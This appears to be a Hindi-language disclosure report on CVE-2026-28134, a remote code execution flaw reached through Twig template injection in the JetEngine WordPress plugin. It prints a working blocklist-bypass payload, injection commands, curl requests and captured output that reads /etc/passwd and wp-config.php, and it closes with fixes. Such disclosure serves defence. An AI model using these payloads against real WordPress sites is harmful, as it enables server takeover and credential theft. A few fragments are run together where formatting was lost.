
JetEngine <= 3.7.2 - प्रमाणीकृत (योगदानकर्ता+) दूरस्थ कोड निष्पादन
दिनांक: 11 मार्च 2026 CVSS स्कोर: 8.8 (उच्च) CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H प्रभावित प्लगइन: JetEngine <= 3.7.2 प्लगइन स्लग: jet-engine CVE: CVE-2026-28134 स्थिति: निजी परीक्षित WordPress संस्करण: नवीनतम
CVE-2026-28134, JetEngine WordPress प्लगइन में एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है जो 3.7.2 तक के सभी संस्करणों को प्रभावित करती है। यह भेद्यता Contributor-स्तर या उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को JetEngine Listing पोस्ट में एक दुर्भावनापूर्ण Twig टेम्पलेट इंजेक्ट करके सर्वर पर मनमाने OS कमांड निष्पादित करने की अनुमति देती है।
हमले की श्रृंखला तीन कमज़ोरियों को जोड़ती है:
~ स्ट्रिंग संयोजन ऑपरेटर का उपयोग करके सैनिटाइज़र को बायपास करना।✅ भेद्यता की पुष्टि हुई — पूर्ण RCE प्राप्त हुआ
पुष्टि किया गया प्रभाव:
www-data के रूप में मनमाना OS कमांड निष्पादन/etc/passwd, wp-config.php)JetEngine एक Twig/Timber-आधारित Listing व्यू प्रकार प्रदान करता है। जब timber_views घटक सक्षम होता है, तो _listing_type = twig वाली Listing पोस्ट्स का _jet_engine_listing_html पोस्ट मेटा Timber के माध्यम से एक लाइव Twig टेम्पलेट के रूप में रेंडर होता है। रेंडरिंग पाइपलाइन अनप्रमाणित wp_ajax_nopriv_jet_engine_ajax AJAX एक्शन के माध्यम से पहुँच योग्य है, जिसके लिए केवल यह आवश्यक है कि हमलावर एक JetEngine Listing पोस्ट बना या संशोधित कर सके (न्यूनतम Contributor भूमिका)।
ajax-handlers.php प्रमाणित और अनप्रमाणित दोनों उपयोगकर्ताओं के लिए AJAX एक्शन पंजीकृत करता है:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
हैंडलर बिना किसी nonce या क्षमता जाँच के $_REQUEST['handler'] के आधार पर क्लास के किसी भी सार्वजनिक मेथड पर डिस्पैच करता है:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
listing_load_more को कॉल करना सार्वजनिक रूप से सुलभ है और Listing रेंडरिंग पाइपलाइन को ट्रिगर करता है।
listing_load_more → get_listing → frontend->get_listing_item कॉल श्रृंखला यहाँ पहुँचती है:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
जब $listing_view = 'twig' होता है, तो यह Jet_Engine\Timber_Views\Render::get_listing_content() को ट्रिगर करता है, जो पोस्ट के _jet_engine_listing_html मेटा फ़ील्ड से Twig टेम्पलेट पढ़ता है और उसे सीधे render_html() को भेजता है:
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig बिना सैंडबॉक्स के रेंडर करता है। एकमात्र सुरक्षा sanitize_twig_content() है।
sanitize_twig_content() वर्ड-बाउंड्री regex पैटर्न का उपयोग करके खतरनाक PHP फ़ंक्शन नामों को हटाता है और फिर जाँचता है कि टेम्पलेट संशोधित हुआ था या नहीं:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
पैटर्न \bsystem\b शाब्दिक टोकन system से मेल खाता है। यह "sys" ~ "tem" से नहीं मेल खाता क्योंकि ये दो अलग-अलग उद्धृत स्ट्रिंग टोकन हैं। Twig संयोजन का मूल्यांकन रेंडर समय पर करता है, जिससे "system" केवल मेमोरी में उत्पन्न होता है — स्रोत टेम्पलेट में ब्लॉक किया गया शब्द कभी मौजूद नहीं होता।
बायपास पेलोड:
{{ fn("sys" ~ "tem", "id") }}
सैनिटाइज़र fn, "sys", ~, "tem", "id" देखता है — इनमें से कोई भी ब्लॉकलिस्ट में नहीं है। यह बिना बदले पास हो जाता है।
fn() हेल्पर के माध्यम से कोड निष्पादनTimber PHP कॉल करने योग्य रैपर सीधे Twig वातावरण में पंजीकृत करता है:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} call_user_func_array("system", ["id"]) में परिवर्तित होता है — मनमाना OS कमांड निष्पादन।
timber_views घटक सक्षम है (JetEngine Settings > Performance > Timber/Twig Views)।पोस्ट मेटा में संग्रहीत दुर्भावनापूर्ण Twig टेम्पलेट के साथ एक JetEngine Listing पोस्ट बनाएँ:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
या wp-cli के माध्यम से (Contributor उपयोगकर्ता के रूप में):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
ब्लॉक किया गया स्ट्रिंग passthru को "pas" ~ "sthru" के रूप में विभाजित किया गया:
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
टेम्पलेट {{ fn("pas" ~ "sthru", "cat /etc/passwd") }} पर सेट है:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
टेम्पलेट {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax अनप्रमाणित अनुरोधों के लिए सक्रिय होता है। handle_ajax() डिस्पैचर listing_load_more को आमंत्रित करने से पहले कोई nonce सत्यापन और कोई क्षमता जाँच नहीं करता। इसलिए, एक बार दुर्भावनापूर्ण listing मौजूद होने पर रेंडर पाइपलाइन किसी भी अनप्रमाणित उपयोगकर्ता के लिए सुलभ होती है।
Twig का आधिकारिक सैंडबॉक्स एक्सटेंशन (\Twig\Sandbox\SecurityPolicy) इंजन स्तर पर एलाउलिस्ट लागू करता है — स्पष्ट रूप से अनुमत नहीं किए गए फ़ंक्शनों को कॉल करना असंभव है। JetEngine बिना सैंडबॉक्स के createTemplate() का उपयोग करता है। एकमात्र सुरक्षा प्री-रेंडर स्ट्रिंग स्कैन है, जिसे आसानी से दरकिनार किया जा सकता है।
ब्लॉकलिस्ट दृष्टिकोण (/\bsystem\b/i) स्थिर टेम्पलेट स्रोत पाठ पर कार्य करता है। Twig का ~ संयोजन ऑपरेटर रनटाइम पर स्ट्रिंग्स बनाता है। किसी भी ब्लॉक किए गए नाम को विभाजित किया जा सकता है: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", आदि। एक उचित सैंडबॉक्स फ़ंक्शन नाम कैसे बनाया गया था, इसकी परवाह किए बिना कॉल को अस्वीकार कर देगा।
call_user_func_array को उजागर करता हैTimber के fn() और function() Twig हेल्पर PHP के call_user_func_array के लिए बिना शर्त ब्रिज हैं। कॉल करने योग्य फ़ंक्शनों की कोई एलाउलिस्ट नहीं है। वेब प्रक्रिया से पहुँच योग्य कोई भी PHP फ़ंक्शन आमंत्रित किया जा सकता है।
| दिनांक | घटना |
|---|---|
| 2026-03-11 | भेद्यता खोजी गई और पूर्ण RCE PoC के साथ पुष्टि की गई |
| 2026-03-11 | रिपोर्ट का मसौदा तैयार किया गया |
| फ़ाइल | समस्या |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax पंजीकृत — कोई प्रमाणीकरण या nonce नहीं |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — मनमाना सार्वजनिक मेथड डिस्पैच |
includes/components/timber-views/timber.php:150 | render_html() बिना सैंडबॉक्स के हमलावर-नियंत्रित Twig टेम्पलेट रेंडर करता है |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — स्ट्रिंग regex ब्लॉकलिस्ट, टोकन विभाजन द्वारा बायपास |
timber-library/lib/Twig.php:42-43 | Timber call_user_func_array के लिए Twig रैपर के रूप में fn()/function() पंजीकृत करता है |
| सुधार | विवरण |
|---|
handle_ajax() में nonce + क्षमता जाँच जोड़ें | सभी AJAX डिस्पैच के लिए edit_posts क्षमता और एक मान्य nonce आवश्यक करें |
| Twig सैंडबॉक्स सक्षम करें | स्ट्रिंग ब्लॉकलिस्ट को \Twig\Sandbox\SecurityPolicy से बदलें — सुरक्षित फ़ंक्शनों और गुणों को स्पष्ट रूप से एलाउलिस्ट करें |
Timber fn() हेल्पर प्रतिबंधित करें | कॉल करने योग्य फ़ंक्शन नामों को एलाउलिस्ट करें या अविश्वसनीय टेम्पलेट्स के लिए Twig वातावरण से fn()/function() हटाएँ |
| Listing स्वामित्व सत्यापित करें | उसका टेम्पलेट रेंडर करने से पहले पुष्टि करें कि अनुरोध करने वाले उपयोगकर्ता के पास listing पर edit_post क्षमता है |